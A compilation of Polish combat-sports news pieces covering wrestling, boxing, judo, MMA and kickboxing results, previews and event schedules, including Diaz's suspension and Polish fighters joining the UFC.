Brzozowski miał szansę na zdobycz medalową, jednak w walce o trzecie miejsce poniósł porażkę. Pozostali nasi reprezentanci nie zachwycili. Klasycy odpadli w ćwierćfinałach, a zapaśnicy w stylu wolnym stoczyli zaledwie po jednej walce.

Irańczyk zdobył brąz

Wymówienie nazwiska pogromcy Brzozowskiego graniczy z cudem. Brązowy medal na Światowych Wojskowych Igrzyskach Sportowych w zapasach w stylu wolnym wywalczył Ezzatollah Akbarizarinkolaeim. Reprezentant Iranu okazał się lepszy od Krystiana Brzozowskiego, choć pojedynek był bardzo wyrównany.

Polak musiał zadowolić się piątą pozycją, jednak w Mungyeong pokazał się z dobrej strony. Rywalizujący w kategorii 74kg zapaśnik wygrał trzy walki. Swoją drogę do pojedynku o brąz rozpoczął od starcia z Hindusem Pardeepem Pardeepem, a następnie uporał się z Abdou Ahmedem z Egiptu. Polak potknął się w ćwierćfinale. Jego rywalem był Khetik Tcabolov i okazał się zdecydowanie lepszy od reprezentanta Orła Namysłów. Zawodnik z Rosji nie pozostawił Brzozowskiemu żadnych złudzeń. W związku z porażką Polakowi pozostała rywalizacja w repasażach, gdzie zaprezentował dobrą dyspozycję. Przez przewagę techniczną pokonał Byambadorja Bat Erdene z Mongolii, co dało mu przepustkę do starcia o brązowy medal. Jednak w decydującym starciu zabrakło mu szczęścia.

Maciej Balawender w kategorii 125kg stoczył w Korei tylko jedną walkę. Polak przegrał rywalizację z zapaśnikiem z Iranu Jafarem Shamsnaterim. W kategorii 65kg rywalizował Rafał Statkiewicz, jednak nie zapisze udziału w igrzyskach do udanych. Przez przewagę techniczną polskiego zapaśnika już w pierwsze walce pokonał Hindus Rajneesh Rajneesh.

Klasycy zatrzymali się na ćwierćfinale

W Mungyeong zaprezentowali się również nasi wojskowi zapaśnicy w stylu klasycznym. Michał Tracz rywalizował w kategorii 59kg, a Przemysław Kraczkowski w 71kg. Obaj odpadli z turnieju w ćwierćfinałach.

De Yan był pierwszym rywalem Tracza w Korei. Polak poradził sobie w rywalizacji z zapaśnikiem z Chin, jednak w kolejnej walce stanął przed niezwykle trudnym zadaniem. Ivan Kuylakov to utytułowany zawodnik, który zdobywał medale w mistrzostwach Rosji, a także na światowych arenach. W 2013 roku w Budapeszcie został wicemistrzem świata w kategorii 60kg. Rosjanin zdobywał również medale podczas mistrzostw Europy. W Mungyeong zbiegły się drogi Tracza i Kuylakova. Polak walczył ambitnie, pojedynek był zacięty i wyrównany, jednak triumfował zawodnik z Rosji.

Michael Joseph Hooker padł ofiarą Przemysława Kraczkowskiego w pierwszej rundzie rywalizacji w kategorii 71kg w stylu klasycznym. Pierwszą i jak się okazało jedyną. Polak w ćwierćfinale trafił na Ibrahima Eldousky’ego. Egipcjanin wygrał przez przewagę techniczna i tym samym zakończył przygodę Kraczkowskiego w szóstej edycji wojskowych igrzysk.

KM

Dwóch odpadło, jeden w ćwierćfinale

Mistrzostwa świata w boksie w Dausze zakończyły się dla dwóch polskich pięściarzy. W 1/8 finału odpadli Tomasz Jabłoński i Igor Jakubowski.

Start w Dausze jest szansą na uzyskanie kwalifikacji olimpijskiej na przyszłoroczne igrzyska w Rio de Janeiro. Po udanym występie podczas mistrzostw Europy w Samokowie nasi bokserzy z nadziejami ruszyli na światowy czempionat.

Decydowały punkty

Tomasz Jabłoński (75kg) i Igor Jakubowski (91kg) pokazali się z dobrej strony w Bułgarii, gdzie zostali wicemistrzami Europy. Start w Samokowie otworzył przed naszymi bokserami drzwi do mistrzostw świata w Dausze, jednak tym razem nie udało im się przekręcić klucza w kolejnym zamku. Nie udało się wykorzystać szansy i start w Rio de Janeiro oddala się.

Jakubowski w mistrzostwach świata stanął przed trudnym zadaniem. Polak trafił na Geworgija Manukiana z Ukrainy, który w tym roku wywalczył srebrny medal podczas Igrzysk Europejskich w Baku. Jakubowski musiał się sprężyć i wspiąć na wyżyny, aby odnieść sukces, jednak reprezentant Ukrainy okazał się zbyt mocny. Manukian pewnie wypunktował wicemistrza Europy. Sędziowie nie mieli żadnych wątpliwości i jednogłośnie wskazali na Ukraińca. Arbitrzy punktowali 30:27, 30:27, 30:27.

Tomasz Jabłoński w kategorii 75kg, który trenuje w SAKO Gdańsk trafił na Vikasa Krishana. Wicemistrz Europy przegrał na punkty, choć w decyzjach sędziów widać pewne rozbieżności. Jeden z arbitrów widział zwycięstwo Hindusa i to wyraźne – 30:27. Pozostałych dwóch sędziów oceniło pojedynek jako bardzo wyrównany, jednak zwycięzców wytypowali innych. Jeden z nich wskazał na Jabłońskiego 29:28, drugi uznał wyższość Krishana, co dało zwycięstwo Hindusowi.

Jagodziński z nadziejami

W grze pozostaje jeszcze jeden polski bokser. Dawid Jagodziński w kategorii 49kg (waga papierowa) nadal liczy się w rozgrywkach o kwalifikację olimpijską.

Nasz bokser miał nieco szczęścia. Prawo do udziału w mistrzostwach świata uzyskał w Samokowie, gdzie stoczył tylko jedną walkę, w której poniósł porażkę. Korzystne losowanie pozwoliło mu zacząć udział w turnieju od ćwierćfinału. Harvey Horn, czyli pogromca Jagodzińskiego, awansował do finału i Polak mógł wybrać się na światowy czempionat.

Trenujący w Astorii Bydgoszcz pięściarz udanie rozpoczął rywalizacją w Dausze. Polak awansował do ćwierćfinału pokonując na punkty Tinko Banabakowa. Bułgar to brązowy medalista tegorocznych mistrzostw Europy, a więc uchodził za faworyta w rywalizacji z naszym pięściarzem. Polak zdominował rywala w dwóch pierwszych rundach, Banabakow wrócił do gry w trzeciej odsłonie, jednak sędziowie jednoznacznie wskazali na Jagodzińskiego – 29:28, 29:28, 29:28.

Teraz przed Polakiem kolejne wyzwanie. Jagodziński w ćwierćfinale zmierzy się Rogenem Ladonem z Filipin. Jeśli wygra awansuje do półfinału i będzie o krok od wyjazdu do Rio de Janeiro. Kwalifikację na igrzyska uzyskają finaliści kategorii 49kg.

KM

Utytułowany Francuz zakończył karierę

Ugo Legrand zdobywał medale na najważniejszych imprezach w judo. Francuz podjął decyzję o zakończeniu kariery sportowej.

Problem w tym, że Legrand ma dopiero dwadzieścia sześć lat. Dla wielu jest to zastanawiające, dlaczego zawodnik w sile wieku podejmuje taką decyzję.

Cel: złoto olimpijskie

Legrand na każdym kroku podkreślał, że jego celem jest wywalczenie złotego medalu na Igrzyskach Olimpijskich. Nie zrealizował jeszcze tego planu. Francuz jest medalistą Igrzysk Olimpijskich. W Londynie sięgnął po brązowy medal w kategorii 73kg. Czy sięgnie kiedyś po złoto? Chyba nie, gdyż podjął decyzję o zakończeniu kariery, ale wszystko jest możliwe.

Multimedalista w pływaniu i legenda tego sportu Michael Phelps też odchodził. Amerykanin zdecydował się przerwać swoją karierę sportową po Igrzyskach Olimpijskich w Londynie. Dlaczego? Powodem był brak motywacji do dalszych startów, ale jak pokazał czas Phelps nie mógł wytrzymać bez pływania i postanowił wrócić na basen. Jego przerwa trwała niecałe dwa lata. Gdy podejmował decyzję o zakończeniu kariery miał dwadzieścia siedem lat.

Czy w przypadku Legranda można być podobnie? Czas pokaże, jednak przypadek Phelpsa obrazuje, że sportowcy często podejmują takie decyzje zbyt pochopnie. Niezaprzeczalną oczywistością jest konieczność posiadania motywacji do dalszych startów. Gdy osiągnie się praktycznie wszystko to pojawia się problem, ale w przypadku odejścia budzi się tęsknota za sportem, który się kocha.

Zapadła decyzja

Ugo Legrand decyzję o zaprzestaniu występów na tatami ogłosił po turnieju Grand Prix w Taszkiencie. Występ Francuza pozostawiał wiele do życzenia. Brązowy medalista igrzysk w Londynie stoczył w Taszkiencie zaledwie jedną walkę. Khadbaatar Narankhuu okazał się pogromcą Francuza.

Francuz na swoim profilu na jednym z portali społecznościowych zamieścił oświadczenie o zakończeniu przygody z judo. – Postanowiłem przejść na emeryturę , bo wiem jak trudne są występy na najwyższym poziomie i ile potrzeba do tego samozaparcia. Nie jestem w stanie spełnić tych wymagań. Miałem marzenie bycia mistrzem olimpijskim , w końcu byłem tylko na podium Igrzysk Olimpijskich. Jestem szczęśliwy, że mogłem osiągać sukcesy. To koniec mojej kariery na wysokim poziomie. Nigdy nie przestanę być judoką – poinformował Legrand.

Francuz przez całą swoją karierę rywalizował w kategorii 73kg. W 2012 roku w Czelabińsku wywalczył tytuł mistrza Europy. Pierwszy znaczący sukces odniósł dwa lata wcześniej w Wiedniu, kiedy zdobył brązowy medal na  europejskim czempionacie. Na światowej arenie z dobrej strony zaprezentował się w 2011 roku. Podczas mistrzostw świata w Paryżu wywalczył brązowy medal, co miało swój smak. Stanąć na podium wśród najlepszych we własnym kraju to wyjątkowa chwila. Dwa lata później Legrand wywalczył tytuł wicemistrza świata w Rio de Janeiro. Wszystko wskazuje na to, że ponownie do Brazylii nie pojedzie.

KM

Trudne chwile Diaza i Jonesa

Do niedawna byli na szczycie i tłumy ich wielbiły. W ciągu jednej chwili ich kariera legła w gruzach. Nick Diaz już usłyszał wyrok, Jon Jones nadal czeka na karę.

Ich pojedynki przyciągały miliony kibiców przed ekrany telewizorów. Teraz zostali pozostawieni sami sobie w obliczu kłopotów, które sami sobie zafundowali.

Pięć lat

W lutym Nick Diaz stoczył pojedynek z Andersonem Silvą. Walka dwóch wielkich wojowników zakończyła się skandalem. Zarówno Diaz jak i Silva stosowali niedozwolone substancje. „Spider” długo się wypierał i walczył o swoje, ale kolejne testy potwierdziły, że nie ma czystego sumienia.

Chciałoby się powiedzieć, że historia lubi się powtarzać. Tak właśnie jest w przypadku Nicka Diaza. 32-latek miał na swoim koncie występki. Już wcześniej przyłapano go na stosowaniu marihuany i został zawieszony na pięć lat. Tamta sytuacja za wiele Amerykanina nie nauczyła. Po pojedynku z Silvą w organizmie Diaza wykryto marihuanę. Obrońca 32-latka tłumaczył, że poziom specyfiku był poniżej limitu, jednak na niewiele się to zdało.

Zapewne na tym nie koniec walki. Adwokaci Diaza podejmą jeszcze starania, aby zmniejszyć wyrok, który Komisja Sportu Stanu Nevada wymierzyła zawodnikowi. Amerykanin został zawieszony na pięć lat i otrzymał karę finansową w wysokości 165 tysięcy dolarów. Diaz ma 32 lata, a kara jest jednoznaczna z definitywnym zakończeniem kariery.

Diaz jest załamany całą tą sytuacją. Amerykanin otwarcie mówi, że rywalizacja była całym jego życiem. – Nie mam żony i dzieci, gdyż powstrzymałem się od tego, żeby walczyć. Jestem fighterem. Wielu ludzi troszczy się i robi wszystko dla swoich żon i dzieci, ale nie ja. Do tej pory każdą chwilę poświęcałem na przygotowania do walk, a teraz nie mogę tego robić. Zabrali mi praktycznie wszystko, co miałem – nie ukrywa smutku Diaz.

Jones czeka

Jon Jones w jednej chwili stracił pas mistrzowski UFC w wadze półciężkiej, sponsorów oraz sympatię kibiców. A teraz może trafić za kratki.

Amerykanin w kwietniu spowodował wypadek, w którym poszkodowana została kobieta w ciąży. Jones przejechał na czerwonym świetle, uderzył w dwa inne auta i uciekł z miejsca zdarzenia. W samochodzie 27-latka znaleziono również marihuanę.

Jones czeka na zakończenie całej sprawy. 29 września były mistrz UFC stanie przed sądem w Nowym Meksyku, aby usłyszeć wyrok w związku z działaniami, których się dopuścił. Grozi mu kara trzech lat więzienia oraz grzywna. Jones ma 27 lat, więc ma jeszcze tak naprawdę czas, ale po takim doświadczeniu będzie musiał pokazać, że zmądrzał. Z pewnością łatwe to nie będzie.

Diaz i Jones porywali tłumy. Nieodpowiedzialność wpędziła ich w poważne kłopoty. Jak sobie z nimi poradzą? Czy zobaczymy ich jeszcze w oktagonie?

KM

Czyja pięść sięgnie celu?

Walka Przemysława Salety z Tomaszem Adamkiem to pojedynek z gatunku tych, które elektryzują. Dlaczego? Bo naprzeciw siebie staną czołowi polscy bokserzy wagi ciężkiej.

Główne walki podczas Polsat Boxing Night to starcia czołowych postaci polskiego boksu. Ten element na stałe wpisał się w gale realizowane przez tego organizatora. Zarówno Saleta jak i Adamek mieli już okazję boksować podczas Polsat Boxing Night. Teraz los sprawił, że zaprezentują się na ringu w tym samym czasie.

Pobili Gołotę

Dla wielu na wieki najlepszym polskim pięściarzem wagi ciężkiej będzie Andrzej Gołota. Przez lata mówiło się o pojedynku popularnego „Andrew” z Tomaszem Adamkiem. W końcu do niego doszło. Tą walką „Góral” wszedł do kategorii królewskiej. W październiku 2009 roku w łódzkiej Atlas Arenie okazał się zdecydowanie lepszy i szybszy od Gołoty, który powoli żegnał się z ringiem. Adamek wygrał przez nokaut w piątej rundzie.

Jeszcze dłużej miłośnicy boksu czekali na walkę Gołoty z Saletą. „Andrew” przez długi czas był nadzieją białych na zdominowanie wagi ciężkiej, z kolei pięściarz urodzony we Wrocławiu cieszył się z tytułu mistrza Europy. Nie było im jednak po drodze. Gdy byli u szczytu swoich karier nie udało się zorganizować walki. Spotkali się dopiero po przekroczeniu „czterdziestego” roku życia. Saleta dla tej walki wrócił na ring po siedmiu latach przerwy, a Gołota ogłaszał, że zamierza zakończyć karierę po tym pojedynku. „Andrew” po raz kolejny nie miał szczęścia w rywalizacji na rodzimej ziemi. Saleta wykorzystał swoją przewagę, był szybszy, zdecydowany i pokonał bezradnego Gołotę.

Obaj bohaterowie sobotniej gali pokonali legendę polskiego boksu. 26 września gwiazda któregoś z nich zgaśnie.

Kto ma argumenty?

Tomasz Adamek do niedawna rywalizował na amerykańskich ringach. Wielu zastanawiało się nad zasadnością jego przejścia do wagi ciężkiej. Polak świetnie sobie radził w kategorii juniorciężkiej i półciężkiej, gdzie dzierżył w dłoniach pasy mistrzowskie. Jednak w ciężkiej udało mu się doprowadzić do walki o pas, jednak musiał uznać wyższość Witalija Kliczko. Po porażce z Ukraińcem wygrał jeszcze pięć walk, a Wiaczesław Głazkow zakończył jego przygodę w Ameryce.

Powoli rozpoczęto wieszczyć koniec kariery Adamka. Polak podjął jeszcze jedno wyzwanie, gdyż stoczył walkę z Arturem Szpilką o miano najlepszego boksera wagi ciężkiej. „Szpila” okazał się lepszy. Adamek mówił, że to prawdopodobnie jego ostatnia walka, jednak pojawiła się możliwość starcia z Saletą.

Były mistrz Europy wchodzi do ringu od wielkiego dzwonu. Po siedmiu latach przerwy stoczył pojedynek z Gołotą i po upływie dwóch kolejnych zmierzy się z Adamkiem. Saleta jest o osiem lat starszy od swojego najbliższego rywala. 47-latek jest wyższy i cięższy. Czy te atuty wystarczą, aby zdominować Adamka? Obaj mają porównywalne doświadczenie ringowe, ale to „Góral” osiągnął więcej w świecie boksu. Z tym, że Saleta często jest niedoceniany i w kontekście tej walki patrzy się na niego z przymrużeniem. Warto pamiętać, iż „Góral” w wadze ciężkiej miał ogromne problemy ze zdominowaniem „większych rywali”. Najczęściej wygrywał na punkty. Do tej pory Adamek stoczył cztery walki w Polsce, dwie z nich przegrał. Saleta w ojczyźnie przegrał tylko raz. Jak to będzie wyglądało po najbliższym pojedynku?

KM

Wymagający rywal Jędrzejczyka

Paweł Jędrzejczyk przygotowuje się do kolejnego pojedynku. Tym razem rywalem niespełna 35-letniego zawodnika będzie Thanenlek Chompon.

Pojedynek będzie jednym z głównych wydarzeń gali Martial Arts Contest 1 „Polska vs Tajlandia” w hali „Orbita” we Wrocławiu, która odbędzie się 24 października.

Gwiazda i gwiazda

Fanom sportów uderzanych Pawła Jędrzejczyka przedstawiać nie trzeba. To ikona i jeden z najbardziej utytułowanych polskich zawodników muay thai oraz kickboxingu. Nie sposób zliczyć wszystkich sukcesów fightera z Wrocławia.

Praktycznie co roku Jędrzejczyk znajduje się na samym szczycie i zdobywa mistrzowskie tytuły. Los jednak polskiego zawodnika nie oszczędzał. Kariera wojownika to duża ilość walk, ciężkich treningów, co wiąże się z ryzykiem kontuzji. Jędrzejczyk doświadczył konieczność dłuższego odpoczynku. W 2014 roku wrócił do rywalizacji po piętnastu miesiącach przerwy. Było to swego rodzaju wejście smoka. Jędrzejczyk sięgnął po tytuł zawodowego mistrza świata thai boxing WKA. W Zakopane uporał się z Josipem Balentovichem, którego pokonał w piątej rundzie niskimi kopnięciami.

Na polskim podwórku osiągnął wszystko, co mógł. W sukcesy w jego wykonaniu obfitował rok 2009, kiedy to Jędrzejczyk wywalczył brązowy medal Mistrzostw Świata muay thai organizacji WMF oraz zdobył zawodowe mistrzostwo świata K1 Rules organizacji WKN. W K-1 i muay thai osiągnął poziom mistrzowski i zdobywał kolejne tytuły. Od pewnego czasu Jędrzejczyk koncentruje się wyłącznie na występach zawodowych, co przynosi efekty.

Warto przypomnieć, że zawodnik z Wrocławia to pierwszy Polak, który walczył na najsłynniejszych arenach muay thai – Rajadamnern Stadium i Lumpinee Stadium w Bangkoku.

Kim jest najbliższy rywal Jędrzejczyka? Thanenlek Chompon to przeciwnik wymagający, który ma na swoim koncie bogate doświadczenia. Fighter z Tajlandii zwyciężył prawie dwieście walk, co jest wynikiem imponującym. Chompon może się poszczycić tytułem mistrza słynnego Rajadamnern Stadium i mistrzostwem Tajlandii.

Czy Polak da radę?

Trzeba w to głęboko wierzyć i nie stawiać Jędrzejczyka na straconej pozycji. Często wydaje się, że polski zawodnik w rywalizacji z mocnym Tajem stoi na przegranej pozycji, ale nic bardziej mylnego.

Jędrzejczyk ma bogate doświadczenie podczas występów w Tajlandii, gdzie nie był chłopcem do bicia. W maju tego roku Polak stoczył pojedynek w Pattayi ze znanym F16 Rajanont. Decyzją sędziów to wrocławianin zasłużył na zwycięstwo. Trzy lata temu o sile Jędrzejczyka przekonał się Cheerchai Petchpaothong, który już w pierwszej rundzie musiał pogodzić się z porażką. Polak wygrał przez nokaut. Gareth Nellies jest ostatnim zawodnikiem mogącym poszczycić się pokonaniem wielokrotnego mistrza świata. Jednak Jędrzejczyk wziął już rewanż na Angliku i uporał się z nim w lutym tego roku na stadionie w Bangkoku.

Walka Jędrzejczyk vs Chompon odbędzie się w limicie kategorii półciężkiej.

KM

Kolejni Polacy w UFC

Kolonia naszych fighterów w UFC powiększa się. Dwójka naszych zawodników będzie miała okazję zaprezentować swoje umiejętności w najlepszej organizacji mieszanych sztuk walki na świecie.

Obecnie furorę w UFC robi Joanna Jędrzejczyk, która w swoich dłoniach dzierży pas mistrzyni kategorii słomkowej. Nieudane start w Stanach zaliczył Jan Błachowicz. Na kolejne walki czekają Krzysztof Jotko, Bartosz Fabiński, Damian Stasiak czy Daniel Omielańczuk.

Marzenia się spełniają

Tak zapewne powiedziała Karolina Kowalkiewicz, kiedy dowiedziała się, że rozmowy z UFC dobiegły końca i ich finał jest pozytywny. 29-letnia zawodniczka podkreślała, iż występy w amerykańskiej organizacji są jej celem. Założenia udało się zrealizować, więc teraz nie pozostaje nic innego jak stanąć do boju i rywalizować z najlepszymi.

Niewykluczone, że w UFC ujrzymy pojedynek dwóch Polek. Kowalkiewicz rywalizuje w kategorii słomkowej, a więc w tej, w której pas dzierży Joanna Jędrzejczyk. Ta rywalizacja z pewnością dostarczyłaby ogromnych emocji kibicom w Polsce, ale trzeba podchodzić do tej kwestii spokojnie. Jędrzejczyk na swoją szansę musiała poczekać. Podobnie będzie z Kowalkiewicz. Polka wchodząc do UFC jest anonimowa i musi odbyć kilka walk, aby zdobyć uznanie włodarzy i mówiąc najprościej – zasłużyć na pojedynek z jedną z najlepszych zawodniczek w UFC.

Kowalkiewicz jeszcze w tym roku ma zadebiutować w barwach amerykańskiej organizacji. Do tej pory poza krajem walczyła tylko raz i występ ten wspomina pozytywnie. Na gali Invicta FC 9 Polka uporała się z Japonką Mizuki Inoue. Dotychczas Kowalkiewicz nie przegrała. Na szerokie wody wypłynęła w KSW, które zapewniło jej popularność i status najlepszej zawodniczki w kraju. W lutym pokonała Kalindrę Farię.

Po M-1 czas na UFC

Taką drogą idzie Damian Grabowski. 35-letni fighter z Opola to jeden z najbardziej rozpoznawalnych polskich zawodników MMA zagranicą.

Grabowski ma swoją pozycję pracował walcząc na galach Bellatora oraz M-1. Do tej pory poniósł dwie porażki. Raz przegrał w Bellatorze i raz w M-1, gdzie musiał uznać wyższość swojego rodaka Marcina Tybury, który tym samym odebrał mu tytuł mistrzowski.

Popularny „Pitbull” to gwarancja walki na wysokim poziomie i ciekawych rozstrzygnięć. Tylko trzy zwycięskie pojedynki Grabowskiego kończyły się decyzją sędziów. W ponad połowie przypadków Polak zmuszał rywali do poddania. UFC szuka ciekawych zawodników, którzy mogą zwiększyć atrakcyjność ich produktu. Grabowski ma niezbędne doświadczenie, jest wytrzymały psychiczne i ma predyspozycje, aby walczyć na najwyższym poziomie.

Nie wiadomo, kiedy Polak po raz pierwszy pojawi się w klatce UFC. Na występ czeka od 25 listopada 2014 roku. Wtedy stoczył ostatni dotychczas pojedynek, wygrywając z Konstantinem Gluhovem.

KM

X Międzynarodowe Mistrzostwa Śląska Kobiet w Boksie

W dniach 23-26 września 2015 r. w Gliwicach odbędą się X Międzynarodowe Mistrzostwa Śląska Kobiet w Boksie. Zapowiada się ciekawa rywalizacja ma ringu, szczególnie, że na Górnym Śląsku pojawią się najlepsze zawodniczki reprezentacji Australii, Szwecji, Czech, Węgier i oczywiście Polski. Oprócz wymienionych na starcie zobaczymy również zawodniczki z Anglii, Kazachstanu, Litwy, Niemiec, Norwegii, Rosji i Słowacji. Gośćmi honorowymi będą znani pięściarze – m.in. Krzysztof „Diablo” Włodarczyk oraz Damian Jonak. 

Program X Międzynarodowych Mistrzostw Śląska Kobiet w Boksie (23-26.09.2015) Gliwice

23.09.2015 (środa)
12:00 – 15:00 przyjazd ekip oraz waga i badania lekarskie   
Dom Gościnny Politechniki Śląskiej ul. Pszczyńska 89a – zakwaterowanie będzie w Akademikach Politechniki Śląskiej.
16:00 – konferencja techniczna, losowanie par 
18:30 – walki eliminacyjne

24.09.2015 (czwartek)
07:00 – 08:00  waga i badania lekarskie – ul. Pszczyńska 89a
11:00 – I seria walk ćwierćfinałowych
16:40 – Uroczyste otwarcie zawodów przez Prezydent Miasta Gliwic Zygmunta Frankiewicza  
17:00 – II seria walk ćwierćfinałowych

25.09.2015 (piątek)
07:00 – 08:00 – waga i badania lekarskie – ul. Pszczyńska 89a
11:00 – I seria walk półfinałowych 
17:00 – II seria walk półfinałowych

26.09.2015 (sobota)
07:00 – 08:00 – waga i badania lekarskie  ul. Pszczyńska 89a 
16:00 – Finał i dekoracje zawodniczek (medale, dyplomy, puchary, wyróżnienia, upominki)

Zawody będą relacjonowane na żywo w Telewizji FighTime a także w mediach lokalnych, stronie PZB, portalu www.bokser.org oraz TV IMPERIUM.

Drużyna bez medalu

Mistrzostwa Europy juniorów w judo kończyły się rywalizacją drużynową. Polacy tym razem startowali bez powodzenia.

O krok od powiększenia dorobku medalowego naszej reprezentacji na mistrzostwach Europy w Oberwart była kadra panów, jednak na ostatniej prostej trafiła na Rosjan, którzy pozbawili biało-czerwonych szans na finał.

Obiecujący początek

Szansa na medal była. Polacy dobrze rozpoczęli rywalizację w turnieju drużynowym. W pierwszym starciu biało-czerwoni trafili na Francję i zdecydowanie wygrali 4:1. Polacy zrobili krok do przodu, a kolejnym rywalem naszych judoków była Serbia, która na początek rozprawiła się z Holandią. Starcie z ekipą z Bałkanów do łatwych nie należało. Biało-czerwoni musieli walczyć do samego końca o zwycięstwo, co przyniosło pozytywny efekt. Serbia pożegnała się z mistrzostwami, przegrywając 2:3.

Ciężki bój z Serbami sprawił, że biało-czerwoni do półfinałowej rywalizacji przystępowali nieco osłabieni. Choć duch walki nadal prowadził serca naszych chłopaków do boju to odczuwali trudy ćwierćfinału. Wykorzystali to Rosjanie, czyli ekipa niezwykle mocna i zdeterminowana, aby odnieść sukces. Reprezentanci Sbornej nie pozostawili Polakom żadnych złudzeń i wygrali gładko 5:0. Biało-czerwonym pozostała walka o brązowy medal. W decydującym pojedynku nasi juniorzy spotkali się z Białorusią, która w repasażach poradziła sobie z Austrią. Polacy stoczyli kolejny wyczerpujący bój, który wymagał od nich ogromnych umiejętności i zaangażowania. Tego dnia biało-czerwoni nie mieli szczęścia w rywalizacji ze swoimi „sąsiadami”. Rosja rozbiła naszą reprezentację, a Białoruś po wyrównanym boju zwyciężyła 3:2.

Złoty medal w drużynowej rywalizacji panów dla Rosji, srebro dla Niemców. Trzecie miejsce dla Gruzji i Białorusi.

Rosja na drodze Polek

Fantastyczną pracę podczas mistrzostw świata w Astanie wykonała reprezentacja kobiet pod wodzą trener Anety Szczepańskiej. Biało-czerwone sięgnęły po srebrny medal przegrywając w finale z Japonią. Juniorkom nie poszło tak dobrze. Młode judoczki w Oberwart uplasowały się na siódmej pozycji.

Polki rywalizację w turnieju drużynowym rozpoczęły od starcia z gospodyniami turnieju, czyli Austriaczkami. Powszechnie wiadomo, że ściany pomagają gospodarzom, jednak biało-czerwone były dobrze dysponowane. Polki nie pozostawiły złudzeń swoim rywalkom i wygrały pewnie 4:1. Na tym koniec dobrych informacji. Chorwatki były kolejnymi przeciwniczkami naszych zawodniczek. Polki przegrały 1:4, a judoczki z Bałkanów brnęły do przodu, ale w decydującym momencie zabrakło im szczęścia i zajęły piątą lokatę. W repasażach Polska trafiła na Rosję, ale po ambitnej walce triumfowała Sborna – 3:2. W finale spotkały się Francja i Słowenia. Z tytułu mistrzowskiego cieszą się Trójkolorowe. Brązowe medale dla Rosjanek i Niemek.

Jak widać na powyższych przykładach rywalizacja została zdominowana przez reprezentacje Rosji i Niemiec. Obie nacje sięgnęły po medale zarówno wśród pań jak i panów.  

KM

Nowatorski turniej MMA "The Circle" w FightKlubie.

Zapraszamy na premierę nowatorskiego turniej MMA "The Circle" w którym liczyć będą się zarówno umiejętności walki jak i gry zespołowej. Emisja pierwszej imprezy turnieju w środę 23 września o godzinie 21:00.

Podczas ośmiu turniejów z udziałem zawodników wagi lekkiej, półśredniej i średniej wyłaniane będą najlepsze zespoły, które wspinać się będą po drabince turnieju aż do wielkiego finału. Zespoły reprezentować będą barwy konkretnej nacji. W turnieju wezmą udział zawodnicy z Argentyny, Australii, Brazylii, Chin, Włoch, Japonii, Maroko, Holandii, Rosji, RPA, Hiszpanii, Szwecji, Tajlandii, Turcji, Wielkiej Brytanii i USA. Będzie to zatem wielka konfrontacja stylów i tradycji sztuk walki. Każdy zespół składać się będzie z trzech mężczyzn i jednej kobiety, mężczyźni za zwycięstwo otrzymają jeden punkt, zaś kobiety; dwa punkty. W Barcelonie na pierwszy ogień pójdą reprezentacje: Australii, która zmierzy się z gospodarzem – Hiszpanią oraz Tajlandii i Włoch, które staną naprzeciwko siebie.

Konfrontacja narodów, ale też nowy stary ring w kształcie okręgu, przypominać ma dawne czasy MMA, czyli pojedynki na ulicach gdzie zawodnicy bili się na gołe pięści otoczeni kręgiem gapiów. Aby zobaczyć nową jakość nie zapomnijcie włączyć FightKlubu. Zapraszamy w środę na godzinę 21:00.

Zwiastun: 

[kod]

Źródło: materiały prasowe

26 września: Starcie o EBU-EU na żywo wyłącznie w FightKlubie!

Zapraszamy na bokserski wieczór, podczas którego zobaczymy pojedynek o czempionat Unii Europejskiej w kategorii piórkowej. W przeciwnych narożnikach staną  niepokonany reprezentant gospodarzy Carmine Tommasone (14-0, 4 KO) oraz leworęczny przybysz z malowniczej Szkocji  Jon Slowey (19-1, 0 KO).

31-letni Tommasone w dwóch ostatnich pojedynkach pokonał Mario Pisantiego i Cristiana Palmę, co zaowocowało zdobyciem pasów mistrza Włoch oraz WBA Inter-Continental w dywizji piórkowej. Teraz ma szansę na mistrzostwo Unii Europejskiej. Na jego drodze stanie nieco bardziej doświadczony, choć kilka lat młodszy, 24-letni Jon Slowley. Urodzony w Glasgow Brytyjczyk ma na koncie tylko jedną porażkę  z Krisem Hughesem, którego zresztą wcześniej pokonał. Szkot nie należy do najmocniej bijących, na 19 zwycięstw nigdy nie wygrał przed czasem, jest jednak bardzo odporny, nigdy nie leżał na deskach. Atomowe uderzenie nie jest także atutem Tommasone, który zastopował 4 na 14 oponentów. To jednak nie jest wcale zła wiadomość – bokserzy, którzy nie biją mocno, muszą bić dużo i szybko dzięki czemu walka będzie z pewnością widowiskowa.

Na transmisję z gali zapraszamy w sobotę 26 września na godzinę 21:00!

Źródło: materiały prasowe

Tybura nokautuje, tytuł obroniony

Marcin Tybura robi furorę w organizacji M-1. Polski fighter wygrał kolejny pojedynek i obronił pas mistrza rosyjskiej organizacji w wadze ciężkiej.

25-latek z Uniejowa to niezwykle twardy zawodnik, który udowodnił swoją siłę po raz kolejny. Tybura pokonał przez nokaut Ante Deliję.

Udana obrona

Polak jako mistrz rosyjskiej organizacji mieszanych sztuk walki to brzmi ciekawie. Wydawałoby się, że to nierealne i możliwe tylko w filmie since fiction, ale okazuję się, iż Polak potrafi. Tybura na dobre zadomowił się w M-1. Wywalczył tytuł mistrzowski w wadze ciężkiej i po raz kolejny obronił go.

Warto odnieść się do drogi Tybury do mistrzowskiego tytułu, bo wygląda ona ciekawie. Kto by pomyślał, że dwóch Polaków może bić się o tytuł mistrzowski. A jednak! Marcin Tybura zdominował wagę ciężką w M-1, a pas odebrał Damianowi Grabowskiemu. W sierpniu 2014 dwóch Polaków spotkało się w wyjątkowej walce. Tybura udowodnił, że nie bez kozery uznawany jest za fachowca wysokich lotów. Doświadczony Grabowski wytrzymał w rywalizacji z fighterem z Uniejowa niecałe półtorej minuty. Tybura mógł cieszyć się z mistrzowskiego tytułu, którego bronił już kilka miesięcy później. Denis Smoldarev już w pierwszej rundzie musiał pożegnać się z nadziejami na sukces.

